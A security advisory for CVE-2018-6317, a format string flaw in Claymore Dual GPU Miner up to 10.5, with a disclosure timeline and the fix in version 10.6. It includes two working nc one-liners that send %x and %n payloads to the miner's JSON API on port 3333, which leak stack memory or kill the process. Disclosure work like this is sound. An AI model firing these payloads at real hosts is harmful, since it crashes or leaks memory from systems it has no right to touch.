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Claymore Dual GPU Miner 10.5 Format String

Claymore Dual GPU Miner 10.5 Format String
Posted Feb 3, 2018
Authored by res1n

Claymore Dual GPU Miner versions 10.5 and below suffer from format string vulnerabilities.

tags | exploit, vulnerability
advisories | CVE-2018-6317
MD5 | fdbaa03bf96433f880d5f0591306d178

Claymore Dual GPU Miner 10.5 Format String

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Claymore Dual Gpu Miner <= 10.5 Format Strings Vulnerability
=======================================================================

product: Claymore's Dual Miner
vulnerable version: <= 10.5
fixed version: 10.6
CVE number: - CVE-2018a6317
impact: critical
homepage: https://bitcointalk.org/index.php?topic=1433925.0
found: 2018-01-26
by: twitter.com/res1n

=======================================================================


Vulnerability overview/description:
-----------------------------------
Claymoreas Dual GPU Miner 10.5 and below is vulnerable to a format
strings vulnerability. This allows an unauthenticated remote attacker to
read memory addresses, or immediately terminate the mining process
causing a denial of service.

1) By sending a custom request to the json api on port 3333 of the
remote management service it's possible to leak stack addresses and
possibly rewrite stack addresses with %p. I wasn't able to break out of
the json padding but someone else may be able to as %s also dumps string
contents.

example - echo -e '{"id":1,"jsonrpc":"1.0","method":"%x %x %x %x"}' | nc
192.168.1.139 3333 & printf "\n".

2) Sending %n to the json api on port 3333 immediately kills the mining
process.

example - echo -e '{"id":1,"jsonrpc":"1.0","method":"%n"}' | nc
192.168.1.139 3333 & printf "\n".

Solution
------------------------
Upgrade to version 10.6


Vendor contact timeline:
------------------------
01/26/18aaaReported to dev
01/26/18 a Confirmed and immediately patched. 10.6 released request for
3a4 day embargo
01/31/18aaaPublic Disclosure

Writeup -
https://medium.com/secjuice/claymore-dual-gpu-miner-10-5-format-strings-vulnerability-916ab3d2db30


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